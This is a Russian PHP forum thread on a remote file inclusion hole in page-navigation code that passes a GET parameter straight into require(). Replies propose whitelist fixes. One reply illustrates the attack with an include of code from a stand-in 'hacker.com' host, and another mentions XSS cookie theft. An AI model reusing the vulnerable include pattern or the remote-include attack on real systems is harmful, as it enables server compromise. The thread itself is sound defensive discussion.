Запрет выполнения скрипта...

  • Автор темы Demmiurg123
  • Дата начала

Demmiurg123

Guest
Запрет выполнения скрипта...

Как можно запретить выполнение скриптов, находящихся не у меня на сайте?

Просто волнует вопрос безопасности, при использовании навигации вида:

if ($page){
if (!file_exists($page. ".php")){
echo("Страница не найдена!");
}else{
require($page. ".php");}
}else{
require("index.php");}

и

<?php printf ("<a href=".$PHP_SELF."?page=links>ссылки</a>");?>

Ткните носом, плиз.
 

Оливер Перри

Новичок
Я не понял ты хочет запретить выполнение своих скриптов по ссылкам с других сайтов? или что?
 

Dreammaker

***=Ф=***
Нет. В его случае к параметру линк цепляешь адресс с хттп или фтп и эта страница грузится в твою. Такой себе фрейм получается.

Ну и следствие - что-то можно подвесить, какой-то зловредный скрипт, какой тут уж зависит от головы и знаний хацкера.

самое простое, что пришло в голову, это проверять параметр- есть ли в параметре точки - гы, если точки есть значит - это левак подсовывают. Только такое на локалхосте и на интранетовских сайтах не пройдёт там - адрес сайта мо;ет из одного слова состоять.

Немного лучший вариант жёстко прописать варианты, которые ты можешь получить с ГЕТ строки.
Что-то типа:
PHP:
switch ($page)
{
case "links": require("index.php"); break;
case "links2": require("что-то.php"); break;
case "links3": require("что-то.php"); break;
default: require("index.php")
}
Перед этим можно немного поработать со строкой например, обрезать её до минимума нужного символы поудалать ненужные или заменить и т.д.
Хотя способ не совсем удобный если придётся менять структуру , то придётся переписыывать и этот код.
 

Demmiurg123

Guest
Да, я именно это имелл ввиду, что сказал Dreammaker. =)
 

ForJest

- свежая кровь
Dreammaker
можно case заменить массивом.
Твоя конструкция приобретёт вид
PHP:
$AllowedPages = array(
'links'=> 'index.php',
'links2'=> 'page2.php',
'links3'=> 'page3.php');
if (isset($AllowedPages[$page]))
{
     require($AllowedPages[$page]);
}
else
{
     require(reset($AllowedPages));
}
 

kruglov

Новичок
ну или можно все нехорошие символы типа : или / заменить на _
 

Mr_Max

Первый класс. Зимние каникулы ^_^
Команда форума
Перечитал 2 раза не догнал.
>>Нет. В его случае к параметру линк цепляешь адресс с хттп или фтп и эта страница грузится в твою. Такой себе фрейм получается. Ну и следствие - что-то можно подвесить, какой-то зловредный скрипт, какой тут уж зависит от головы и знаний хацкера.

Насколько я понимаю, если сприпт запускается у кул-хацкера, (даже импортируя Ваш контент) значит и работает он на строноне кул-хацкера.
Соответственно кул=кацкерский скрипт будет работать только на своем "родном" сервере. С Вашего сервера он может забрать результат исполнения ваших ПХП-скриптов.

Возможно я недопонял вопрос. Тогда сори...
Если такое действительно возможно, изложите пожалуйста, немного поподробнее суть проблемы.
 

kruglov

Новичок
Mr_Max
include("http://hacker.com/oops.php");
oops.php выдает <? злой код ?>
этот код исполняется вашим сервером
все.
 

Mr_Max

Первый класс. Зимние каникулы ^_^
Команда форума
Ясно.
Выходит
1. Чтоб выполнить код, нужно сначала получить доступ к серверу.
2. Если пользователю предоставляется возможность намостоятельного "прописывания" путя файла, то логично проверять расширение.
3. Возможно логичнее и безопаснее в данном случае использовать какой нибудь- fread
4. Можно использовать ini-set('allow_url_fopen', 0); в опасном участке кода.
 

kruglov

Новичок
Mr_Max
1. Ну дык. Чтоб сломать сайт, в нем должны быть дырки.
2. Расширение это фигня, инклюдить можно хоть жпеги, раз include - значит будет интерпретироваться как PHP.
3. Логичнее, но это если мы чиста тексты инклюдим, не ожидая, что там будет PHP-код.
4. Можно, только не нужно.

-~{}~ 03.08.05 17:41:

3. да - есть еще XSS-уязвимости. Это если я могу написать у вас на сайте что угодно. А потом дать эту ссылку человеку, зарегистрированному на вашем сайте, прочитать его куки и пароль.
 

Alexandre

PHPПенсионер
PHP:
$AllowedPages = array( 
'links'=> 'index.php', 
'links2'=> 'page2.php', 
'links3'=> 'page3.php'); 
if (isset($AllowedPages[$page])) 
{ 
     require($AllowedPages[$page]); 
} 
else 
{ 
     require(reset($AllowedPages)); 
}
все это не правильно
хочешь знать как надо,
не поленись, посмотри http://www.phpmvc.net/
 

ForJest

- свежая кровь
Alexandre
Посмотрел. Там ни строчки кода и всё по английски - ты меня куда послал?
А что именно "всё это" ты назвал неправильным? Пожалуйста уточни.
 
Сверху